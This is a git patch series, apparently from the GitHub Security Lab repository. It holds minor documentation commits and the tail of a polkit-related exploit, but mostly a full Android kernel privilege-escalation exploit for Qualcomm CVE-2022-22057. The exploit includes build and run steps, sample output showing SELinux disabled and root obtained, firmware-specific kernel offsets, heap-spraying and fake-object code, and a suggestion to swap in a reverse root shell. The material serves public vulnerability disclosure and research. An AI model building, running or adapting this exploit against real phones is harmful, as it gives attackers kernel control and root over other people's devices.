/var/run/dbus/system_bus_socket 4096\n", + progname, + progname + ); +} + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 3) { + usage(progname); + return EXIT_FAILURE; + } + + char* endptr = 0; + const long n = strtol(argv[2], &endptr, 0); + if (endptr == argv[2] || *endptr != '\0') { + usage(progname); + return EXIT_FAILURE; + } + + const uid_t uid = getuid(); + const char* filename = argv[1]; + + for (size_t i = 0; i < 1; i++) { + exploit_LockSessions(uid, filename, n); + } + + return EXIT_SUCCESS; +} From 2d08542b6c1739030871c848770668681d1fc723 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Tue, 1 Mar 2022 13:40:32 -0800 Subject: [PATCH 077/140] Update CODE_OF_CONDUCT.md --- CODE_OF_CONDUCT.md | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index 3a64696..e5544f9 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -1,4 +1,4 @@ -# Contributor Covenant Code of Conduct +# GitHun Security Lab Code of Conduct ## Our Pledge @@ -45,10 +45,9 @@ threatening, offensive, or harmful. ## Scope -This Code of Conduct applies within all project spaces, and it also applies when -an individual is representing the project or its community in public spaces. +This Code of Conduct applies within all project spaces such as but not limited to our repository content, issues and discussions, our public Slack workspace, our "office hours" meetings, and it also applies when an individual is representing the project or its community in public spaces. Examples of representing a project or community include using an official -project e-mail address, posting via an official social media account, or acting +project e-mail address, posting via an official social media account or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. From 766c224510ea41c38894dc094957df2475726358 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Tue, 1 Mar 2022 13:41:31 -0800 Subject: [PATCH 078/140] Update CODE_OF_CONDUCT.md --- CODE_OF_CONDUCT.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index e5544f9..344f770 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -47,7 +47,7 @@ threatening, offensive, or harmful. This Code of Conduct applies within all project spaces such as but not limited to our repository content, issues and discussions, our public Slack workspace, our "office hours" meetings, and it also applies when an individual is representing the project or its community in public spaces. Examples of representing a project or community include using an official -project e-mail address, posting via an official social media account or acting +project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. From 0b835330b3b1e9a279d0478afcf7a49cfbab498f Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Tue, 1 Mar 2022 13:42:00 -0800 Subject: [PATCH 079/140] Update CODE_OF_CONDUCT.md --- CODE_OF_CONDUCT.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index 344f770..e43e365 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -1,4 +1,4 @@ -# GitHun Security Lab Code of Conduct +# GitHub Security Lab Code of Conduct ## Our Pledge From 63d680cae714905eeda468503e203b83024c5a5e Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Tue, 1 Mar 2022 13:50:50 -0800 Subject: [PATCH 080/140] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 220e7c5..4a21db2 100644 --- a/README.md +++ b/README.md @@ -61,6 +61,10 @@ We use it for these main purposes: * [cqlgen](https://github.com/gagliardetto/cqlgen) — A codeql generation library written in Go. * [codemill](https://github.com/gagliardetto/codemill) — A codeql model generator for Go with a web UI. +## Disclaimer + +The recommendations from the GitHub Security Lab are provided graciously and it's ultimately the responsibility of the recipients to apply them or not. This concern recommendations given through our written or audio content, our conferences, our answers in our community spaces, or our informal office hours. + ## Contributing We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README. From 5816cd6f6c7e9cd9b90bdf25a84d6e750ad46196 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Tue, 1 Mar 2022 15:38:56 -0800 Subject: [PATCH 081/140] Update README.md Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4a21db2..24bc4c1 100644 --- a/README.md +++ b/README.md @@ -63,7 +63,7 @@ We use it for these main purposes: ## Disclaimer -The recommendations from the GitHub Security Lab are provided graciously and it's ultimately the responsibility of the recipients to apply them or not. This concern recommendations given through our written or audio content, our conferences, our answers in our community spaces, or our informal office hours. +The recommendations from the GitHub Security Lab are provided graciously and it's ultimately the responsibility of the recipients to apply them or not. This concerns recommendations given through our written or audio content, our conferences, our answers in our community spaces, or our informal office hours. ## Contributing From dcbe0de65aaf1ddbac06c94e53f973efe3250fbc Mon Sep 17 00:00:00 2001 From: Jorge <46056498+jorgectf@users.noreply.github.com> Date: Thu, 28 Apr 2022 19:51:16 +0200 Subject: [PATCH 082/140] Add Emacs plugin to list --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 24bc4c1..4253a4e 100644 --- a/README.md +++ b/README.md @@ -57,6 +57,7 @@ We use it for these main purposes: * Editor plugins * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) (Official) * [Neovim](https://github.com/pwntester/codeql.nvim) + * [Emacs](https://github.com/anticomputer/emacs-codeql) * Code generation * [cqlgen](https://github.com/gagliardetto/cqlgen) — A codeql generation library written in Go. * [codemill](https://github.com/gagliardetto/codemill) — A codeql model generator for Go with a web UI. From faaa312db732747d627b9c5e9a8bc99a8be683a0 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Thu, 16 Jun 2022 14:35:20 +0100 Subject: [PATCH 083/140] Initial commit --- .../Android/Qualcomm/CVE-2022-22057/README.md | 87 ++ .../Qualcomm/CVE-2022-22057/addr_utils.h | 38 + .../Qualcomm/CVE-2022-22057/cpu_utils.c | 45 + .../Qualcomm/CVE-2022-22057/cpu_utils.h | 7 + .../Qualcomm/CVE-2022-22057/fake_obj_util.c | 120 +++ .../Qualcomm/CVE-2022-22057/fake_obj_util.h | 92 ++ .../Qualcomm/CVE-2022-22057/ion_utils.c | 94 +++ .../Qualcomm/CVE-2022-22057/ion_utils.h | 117 +++ .../Qualcomm/CVE-2022-22057/kgsl_ioctl.h | 209 +++++ .../Qualcomm/CVE-2022-22057/sendmsg_spray.c | 187 ++++ .../Qualcomm/CVE-2022-22057/sendmsg_spray.h | 32 + .../Qualcomm/CVE-2022-22057/signalfd_spray.c | 69 ++ .../Qualcomm/CVE-2022-22057/signalfd_spray.h | 15 + .../Qualcomm/CVE-2022-22057/timeline_wait.c | 799 ++++++++++++++++++ .../CVE-2022-22057/work_queue_utils.c | 307 +++++++ .../CVE-2022-22057/work_queue_utils.h | 26 + 16 files changed, 2244 insertions(+) create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/README.md create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/addr_utils.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/kgsl_ioctl.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.h diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/README.md b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/README.md new file mode 100644 index 0000000..2fc658c --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/README.md @@ -0,0 +1,87 @@ +## Exploit for Qualcomm CVE-2022-22057 + +The write up can be found [here](https://github.blog/2022-06-16-the-android-kernel-mitigations-obstacle-race/). This is a bug in the Qualcomm kgsl driver that I reported in November 2021. The bug can be used to gain arbitrary kernel memory read and write from the untrusted app domain, which is then used to disable SELinux and gain root. + +The exploit is tested on the Samsung Galaxy Z Flip 3 (European version SM-F711B) with firmware version F711BXXS2BUL6, Baseband F711BXXU2BUL4 and Kernel version 5.4.86-qgki-23063627-abF711BXXS2BUL6 (EUX region). The offsets in the exploit refer to that version of the firmware. Apart from the usual offsets in the kernel image, various addresses of the ion memory pools in `ion_utils.c` are also firmware specific. For reference, I used the following command to compile with clang in ndk-21: + +``` +android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline +``` + +The exploit is reasonably reliable (~70% on tested device), although it does need to wait a few minutes after start up before running, as there are way too many broken/failed binder calls during the first few minutes of start up. (Not entirely sure whether it is a Qualcomm or Samsung problem) + +To test, cross compile the file and then execute with `adb`: + +``` +adb push timeline /data/local/tmp +adb shell +b2q:/ $ /data/local/tmp/timeline +``` + +If succeeded, it will disable SELinux and run the `id` command as root and write the results in the `/data/local/tmp/id.txt` file: + +``` +b2q:/ $ /data/local/tmp/timeline +heap_id_mask 40 +ion region 0x75a0ccf000 +region start addr: ffffff8071800000 +fence kernel addr: ffffff8071fe0040 192 +created fake slab at ffffff8071840100 +[+] reallocation data initialized! +[ ] initializing reallocation threads, please wait... +[+] 40 reallocation threads ready! +timeline_wait start +readpipe start +destroy start +readpipe +Caught signal: 10 + wait complete -1 +readpipe finished +destroy finished +cb_list ffffffc02d943bf8 temp ffffffc02d943c48 +mask 52424242 60 +cpu_id 0 +interval number 1 +mask 7f8e7bfeff 7 +thread number 0 7 20014 +thread batch number 0 +new mask 7f8e7bfeff ffffff8071840100 +region_offset 40100 +sprayed 1024 ion buffer +start searching for buffer +Found 7 ion regions +heap_ops ffffffc012e17180, kernel base: a00b8000 +set enforcing to permissive +[+] successfully overwritten selinux_enforcing +wq_ptr_addr: ffffffc012dc2518 +wq_addr: ffffff81f4cf1200 +pwq_addr ffffff81e24ea100 +pool_addr ffffff805ff7c000 +worklist ffffff805ff7c020 ffffff805ff7c020 +queue work +max_active 256 nr_active 0 +queuing work, waiting to aquire spin lock +work_queued +work processed +complete 0 +ret 0 +nr_active 0 +worklist ffffff805ff7c020 +work next ffffff8071842c08 +[+] successfully run command and added id.txt in /data/local/tmp +finished queue work +freeing ion dma fd +finished freeing ion dma fd +finished spraying +finished +``` +There is a long pause after `wait complete -1` is printed, which should be less than a minute, this is normal. It can sometimes also take a while to queue the work (after `queuing work, waiting to aquire spin lock` is printed, can be a couple of minutes, just need to be patient, although that is not common). The exploit normally completes in a couple of minutes. + +The file `/data/local/tmp/id.txt` should confirm that the command was run as root: + +``` +b2q:/ $ cat /data/local/tmp/id.txt +uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0 +``` + +A different command can be run by changing the variable `cmd` in `setup_sub_info` in `work_queue_utils.c`. (For example, to pop a reverse root shell). diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/addr_utils.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/addr_utils.h new file mode 100644 index 0000000..0843796 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/addr_utils.h @@ -0,0 +1,38 @@ +#ifndef ADDR_UTILS +#define ADDR_UTILS + +#define PHYS_TO_VIRT_OFF 0x8080000000ul + +#define VMEMMAP 0xfffffffefde00000ul + +#define KERNEL_PBASE 0xa0080000 + +#define KERNEL_VBASE 0xffffffc010080000ul + +//_text - kernel physical base +#define KERNEL_PHYS_OFF (KERNEL_VBASE - KERNEL_PBASE) + +static inline uint64_t page_align(uint64_t x) { + return (x >> 12) << 12; +} + +static inline uint64_t phys_to_virt(uint64_t x) { + return (uint64_t)(x) - PHYS_TO_VIRT_OFF; +} + +static inline uint64_t virt_to_phys_lm(uint64_t x) { + if (x & (1ul << 38)) err(1, "address is not in low mem range.\n"); + return x + PHYS_TO_VIRT_OFF; +} + +static inline uint64_t virt_to_phys(uint64_t x) { + if (x & (1ul << 38)) return x - (KERNEL_VBASE - KERNEL_PBASE); + return x + PHYS_TO_VIRT_OFF; +} + +static inline uint64_t phys_to_page(uint64_t phys_addr) { + //VMEMMAP interpreted as page pointer, so pfn needs to multiply by sizeof(struct page) + return (phys_addr >> 12) * 64 + VMEMMAP; +} + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.c new file mode 100644 index 0000000..38b4fc0 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.c @@ -0,0 +1,45 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "cpu_utils.h" + +#define CPU_SETSIZE 1024 +#define __NCPUBITS (8 * sizeof (unsigned long)) +typedef struct +{ + unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; +} cpu_set_t; + +#define CPU_SET(cpu, cpusetp) \ + ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) +#define CPU_ZERO(cpusetp) \ + memset((cpusetp), 0, sizeof(cpu_set_t)) + +int migrate_to_cpu(int i) +{ + int syscallres; + pid_t pid = gettid(); + cpu_set_t cpu; + CPU_ZERO(&cpu); + CPU_SET(i, &cpu); + + syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); + if (syscallres) + { + return -1; + } + return 0; +} + +int check_cpu_affinity() { + if (migrate_to_cpu(4) == -1) return 4; + if (migrate_to_cpu(5) == -1) return 5; + return -1; +} + diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.h new file mode 100644 index 0000000..85f53b3 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.h @@ -0,0 +1,7 @@ +#ifndef CPU_UTILS +#define CPU_UTILS + +int migrate_to_cpu(int i); + +int check_cpu_affinity(); +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.c new file mode 100644 index 0000000..fe9e115 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.c @@ -0,0 +1,120 @@ +#include "fake_obj_util.h" +#include "addr_utils.h" + +static uint64_t vaddr_offset = 0; + +static inline uint64_t get_vaddr(struct list_head* ptr) { + return (uint64_t)ptr + vaddr_offset; +} + +static void init_list_head(struct list_head *list) +{ + list->next = get_vaddr(list); + list->prev = get_vaddr(list); +} + +static void list_add(struct list_head *new, struct list_head *prev, + struct list_head * start) +{ + start->prev = get_vaddr(new); + new->next = get_vaddr(start); + new->prev = get_vaddr(prev); + prev->next = get_vaddr(new); +} + +static uint64_t add_zero_filled_area(void* region, size_t offset) { + memset(region + offset, 0, ZERO_FILL_SZ); + return ZERO_FILL_SZ + offset; +} + +static struct list_head* get_list(struct kgsl_timeline_fence* fence) { + return &fence->node; +} + +static void init_fence(struct kgsl_timeline_fence* fence, uint64_t zero_fill_addr, int check) { + struct dma_fence* base = &fence->base; + base->flags = 0; + base->refcount = 0; + if (check) { + base->cb_list.next = 0x41414141; + base->cb_list.prev = 0x42424242; + + } else { + init_list_head(&base->cb_list); + } + base->ops = zero_fill_addr; +} + +static uint64_t create_fake_fences(void* region, uint64_t offset, uint64_t chain_size, uint64_t zero_fill_addr) { + struct kgsl_timeline_fence* start = (struct kgsl_timeline_fence*)(region + offset); + struct kgsl_timeline_fence* prev = start; + struct list_head* start_list = get_list(start); + struct list_head* prev_list = start_list; + init_list_head(start_list); + init_fence(start, zero_fill_addr, 0); + offset += 128; + for (uint64_t i = 1; i < chain_size; i++) { + struct kgsl_timeline_fence* curr = (struct kgsl_timeline_fence*)(region + offset); + struct list_head* curr_list = get_list(curr); + init_list_head(curr_list); + if (i == chain_size - 1) { + init_fence(curr, zero_fill_addr, 0); + } else { + init_fence(curr, zero_fill_addr, 0); + } + list_add(curr_list, prev_list, start_list); + prev = curr; + prev_list = curr_list; + offset += 128; + } + return offset; +} + +uint64_t fill_ion_heap(void* region, size_t chain_size, size_t region_size, uint64_t region_vaddr) { + if (sizeof(struct kgsl_timeline_fence) > 128) err(1, "kgsl_timeline_fence too big\n"); + if (chain_size < 2) err(1, "chain size should be greater than 1.\n"); + uint64_t fake_size = chain_size * 128 + ZERO_FILL_SZ; + if (fake_size > region_size) err(1, "chain of fake objects does not fit into region.\n"); + uint64_t offset = (region_size - fake_size)/2; + vaddr_offset = region_vaddr - (uint64_t)region; + uint64_t zero_fill_addr = region_vaddr + offset; + offset = add_zero_filled_area(region, offset); + uint64_t out = offset; + offset = create_fake_fences(region, offset, chain_size, zero_fill_addr); + return out; +} + +uint64_t poll_list_addr(void* fence_start, size_t chain_size, uint64_t fence_kstart) { + struct kgsl_timeline_fence* start = (struct kgsl_timeline_fence*)fence_start; + struct kgsl_timeline_fence* curr = (struct kgsl_timeline_fence*)fence_start; + struct dma_fence* base = &curr->base; + base->flags = 0; + struct list_head* cb_list = &base->cb_list; + if (cb_list->prev > (fence_kstart + chain_size * 128)) { + struct list_head* node = get_list(curr); + node->next = cb_list->prev + STACK_OFFSET; + base->refcount = 0; + base->flags = 1; + return cb_list->prev; + } + return 0; +} + +void create_fake_sgtable(uint8_t* table_region, uint64_t table_vaddr, uint64_t phys_addr, size_t len) { + struct sg_table* table = (struct sg_table*)table_region; + table->nents = 1; + table->orig_nents = 1; + table->sgl = (struct scatterlist*)(table_vaddr + 128); + struct scatterlist* sg = (struct scatterlist*)(table_region + 128); + uint64_t page_link = phys_to_page(phys_addr); + sg->page_link = page_link |= 0x2ul; + sg->length = len; + sg->offset = 0; +} + +void patch_ion_buffer(struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t phys_addr, size_t size) { + create_fake_sgtable(table_region, table_vaddr, (phys_addr >> 12) << 12, size); + buffer->sg_table = (struct sg_table*)table_vaddr; + buffer->size = size; +} + diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.h new file mode 100644 index 0000000..bff6d15 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.h @@ -0,0 +1,92 @@ +#ifndef FAKE_OBJ_UTIL +#define FAKE_OBJ_UTIL + +#include +#include +#include +#include +#include +#include +#include +#include + +#define ZERO_FILL_SZ 128 + +#define STACK_OFFSET 0x50 + +//offset of node in kgsl_timeline_fence +#define NODE_OFF 0x48 + +struct list_head { + uint64_t next, prev; +}; + +typedef struct { + int counter; +} atomic_t; + +typedef struct refcount_struct { + atomic_t refs; +} refcount_t; + +struct kref { + refcount_t refcount; +}; + +struct dma_fence { + void *lock; + uint64_t ops; + union { + struct list_head cb_list; + int64_t timestamp; + }; + uint64_t context; + uint64_t seqno; + unsigned long flags; + uint32_t refcount; + int error; +}; + +struct kgsl_timeline_fence { + struct dma_fence base; + void *timeline; + struct list_head node; +}; + +struct scatterlist { + unsigned long page_link; + unsigned int offset; + unsigned int length; + uint64_t dma_address; + unsigned int dma_length; +}; + +struct sg_table { + struct scatterlist *sgl; /* the list */ + unsigned int nents; /* number of mapped entries */ + unsigned int orig_nents; /* original size of list */ +}; + +struct ion_buffer { + struct list_head list; + void *heap; + unsigned long flags; + unsigned long private_flags; + size_t size; + void *priv_virt; + uint8_t lock[32]; + int kmap_cnt; + void *vaddr; + struct sg_table *sg_table; + struct list_head attachments; +}; + +uint64_t fill_ion_heap(void* region, size_t chain_size, size_t region_size, uint64_t region_vaddr); + +uint64_t poll_list_addr(void* fence_start, size_t chain_size, uint64_t region_vaddr); + +void fake_ion_heap(void* region); + +void patch_ion_buffer(struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t phys_addr, size_t size); + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.c new file mode 100644 index 0000000..f4173d9 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.c @@ -0,0 +1,94 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "ion_utils.h" + +uint64_t ion_heap_phys_addr(uint32_t id) { + //Specific to Z flip 3 + switch (id) { + case ION_AUDIO_ML_HEAP_ID: //audio_cma_region + return 0xe8000000; + case ION_SECURE_DISPLAY_HEAP_ID://secure_display_region + return 0xf2800000; + case ION_QSECOM_TA_HEAP_ID://qseecom_ta_region + return 0xe2000000; + case ION_QSECOM_HEAP_ID://qseecom_region + return 0xe6400000; + case ION_USER_CONTIG_HEAP_ID://user_contig_region + return 0xf1800000; + case ION_SPSS_HEAP_ID://sp_region + return 0xecc00000; + case ION_ADSP_HEAP_ID://sdsp_region + return 0xedc00000; + case ION_SECURE_CARVEOUT_HEAP_ID://ion_secure_carveout + return 0x80c00000; + default: + err(1, "heap does not have physical address\n"); + } +} + +uint64_t ion_heap_size(uint32_t id) { + //Specific to Z flip 3 + switch (id) { + case ION_AUDIO_ML_HEAP_ID: //audio_cma_region + return 28 * 1024 * 1024; + case ION_SECURE_DISPLAY_HEAP_ID://secure_display_region + return 212 * 1024 * 1024; + case ION_QSECOM_TA_HEAP_ID://qseecom_ta_region + return 32 * 1024 * 1024; + case ION_QSECOM_HEAP_ID://qseecom_region + return 28 * 1024 * 1024; + case ION_USER_CONTIG_HEAP_ID://user_contig_region + return 16 * 1024 * 1024; + case ION_SPSS_HEAP_ID://sp_region + return 16 * 1024 * 1024; + case ION_ADSP_HEAP_ID://sdsp_region + return 8 * 1024 * 1024; + case ION_SECURE_CARVEOUT_HEAP_ID://ion_secure_carveout + return 0x600000; + default: + err(1, "heap does not have physical address\n"); + } +} + +void* spray_ion_heap(uint32_t id, size_t size) { + int fd = open("/dev/ion", O_RDONLY); + if (fd == -1) err(1, "cannot open ion\n"); + void* region = map_ion_region(fd, id, size); + printf("ion region %p\n", region); + if (region == NULL) err(1, "failed to map ion\n"); + return region; +} + +int ion_allocate(int ion_fd, uint32_t id, size_t len) { + struct ion_allocation_data ion_alloc_data = {0}; + ion_alloc_data.len = len; + ion_alloc_data.heap_id_mask = id; + int ret = ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data); + if (ret < 0) err(1, "Failed to allocate ion buffer\n"); + return ion_alloc_data.fd; +} + +void* map_ion_region(int ion_fd, uint32_t id, size_t len) { + void* ion_region = NULL; + struct ion_allocation_data ion_alloc_data = {0}; + ion_alloc_data.len = len; + ion_alloc_data.heap_id_mask = id; + printf("heap_id_mask %x\n", ion_alloc_data.heap_id_mask); + int ret = ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data); + if (ret == -ENOMEM) return NULL; + if (ret < 0) err(1, "Failed to allocate ion buffer\n"); + ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_alloc_data.fd, 0); + if (ion_region == MAP_FAILED) { + err(1, "map failed"); + } + return ion_region; +} diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.h new file mode 100644 index 0000000..9f3652a --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.h @@ -0,0 +1,117 @@ +#ifndef ION_UTILS +#define ION_UTILS +#include + +enum ion_heap_type { + ION_HEAP_TYPE_SYSTEM, + ION_HEAP_TYPE_SYSTEM_CONTIG, + ION_HEAP_TYPE_CARVEOUT, + ION_HEAP_TYPE_CHUNK, + ION_HEAP_TYPE_DMA, + ION_HEAP_TYPE_CUSTOM, /* + * must be last so device specific heaps always + * are at the end of this enum + */ + ION_NUM_HEAPS = 16, +}; + +#define ION_HEAP_SYSTEM_MASK ((1 << ION_HEAP_TYPE_SYSTEM)) +#define ION_HEAP_SYSTEM_CONTIG_MASK ((1 << ION_HEAP_TYPE_SYSTEM_CONTIG)) +#define ION_HEAP_CARVEOUT_MASK ((1 << ION_HEAP_TYPE_CARVEOUT)) +#define ION_HEAP_TYPE_DMA_MASK ((1 << ION_HEAP_TYPE_DMA)) + +#define ION_NUM_HEAP_IDS (sizeof(unsigned int) * 8) +#define ION_FLAG_CACHED 1 +#define ION_FLAG_CACHED_NEEDS_SYNC 2 +struct ion_allocation_data { + size_t len; + unsigned int heap_id_mask; + unsigned int flags; + uint32_t fd; + uint32_t unused; +}; + +struct ion_custom_data { + unsigned int cmd; + unsigned long arg; +}; + +#define ION_IOC_MAGIC 'I' + +#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ + struct ion_allocation_data) + +#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data) + +#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data) + +#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data) + +#define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data) + +#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data) + +#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data) + +#define ION_BIT(nr) (1UL << (nr)) + +#define ION_HEAP(bit) ION_BIT(bit) + +#define ION_QSECOM_TA_HEAP_ID ION_BIT(1) +#define ION_CAMERA_HEAP_ID ION_BIT(30) +#define ION_DISPLAY_HEAP_ID ION_BIT(3) +#define ION_ADSP_HEAP_ID ION_BIT(4) +#define ION_AUDIO_ML_HEAP_ID ION_BIT(5) +#define ION_USER_CONTIG_HEAP_ID ION_BIT(6) +#define ION_QSECOM_HEAP_ID ION_BIT(7) +#define ION_AUDIO_HEAP_ID ION_BIT(8) +#define ION_CP_MM_HEAP_ID ION_BIT(9) +#define ION_SECURE_HEAP_ID ION_BIT(10) +#define ION_SECURE_DISPLAY_HEAP_ID ION_BIT(11) +#define ION_SPSS_HEAP_ID ION_BIT(14) +#define ION_SECURE_CARVEOUT_HEAP_ID ION_BIT(15) +#define ION_TUI_CARVEOUT_HEAP_ID ION_BIT(16) +#define ION_AUDIO_CARVEOUT_HEAP_ID ION_BIT(17) +#define ION_SYSTEM_HEAP_ID ION_BIT(25) +#define ION_HEAP_ID_RESERVED ION_BIT(31) + +#define ION_ADSP_HEAP_NAME "adsp" +#define ION_SYSTEM_HEAP_NAME "system" +#define ION_MM_HEAP_NAME "mm" +#define ION_SPSS_HEAP_NAME "spss" +#define ION_CAMERA_HEAP_NAME "camera_heap" +#define ION_SECURE_CARVEOUT_HEAP_NAME "secure_carveout" +#define ION_USER_CONTIG_HEAP_NAME "user_contig" +#define ION_QSECOM_HEAP_NAME "qsecom" +#define ION_QSECOM_TA_HEAP_NAME "qsecom_ta" +#define ION_SECURE_HEAP_NAME "secure_heap" +#define ION_SECURE_DISPLAY_HEAP_NAME "secure_display" +#define ION_AUDIO_HEAP_NAME "audio" +#define ION_TUI_CARVEOUT_HEAP_NAME "tui_carveout" +#define ION_DISPLAY_HEAP_NAME "display" +#define ION_AUDIO_ML_HEAP_NAME "audio_ml" + +#define ION_HEAP_FLAG_DEFER_FREE (1 << 0) + +//Device/firmware specific +#define ION_HEAP_OPS_OBJ_OFF 0x30 + +#define ION_HEAP_FREELIST_OFF 0x120 + +#define ION_HEAP_FLAGS_OFF 0xc0 + +#define ION_HEAP_WAITQUEUE_OFF 0x140 + +#define ION_HEAP_OPS_OFF 0x2d5f180 + +uint64_t ion_heap_phys_addr(uint32_t id); + +void* map_ion_region(int ion_fd, uint32_t id, size_t len); + +uint64_t ion_heap_size(uint32_t id); + +void* spray_ion_heap(uint32_t id, size_t size); + +int ion_allocate(int ion_fd, uint32_t id, size_t len); + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/kgsl_ioctl.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/kgsl_ioctl.h new file mode 100644 index 0000000..cc4555a --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/kgsl_ioctl.h @@ -0,0 +1,209 @@ +#ifndef KGSL_IOCTL +#define KGSL_IOCTL + +#define VM_MAYWRITE 0x00000020 + +/* ioctls */ +#define KGSL_IOC_TYPE 0x09 + +#define IOCTL_KGSL_GPUOBJ_IMPORT \ + _IOWR(KGSL_IOC_TYPE, 0x48, struct kgsl_gpuobj_import) + +#define ION_IOC_MAGIC 'I' + 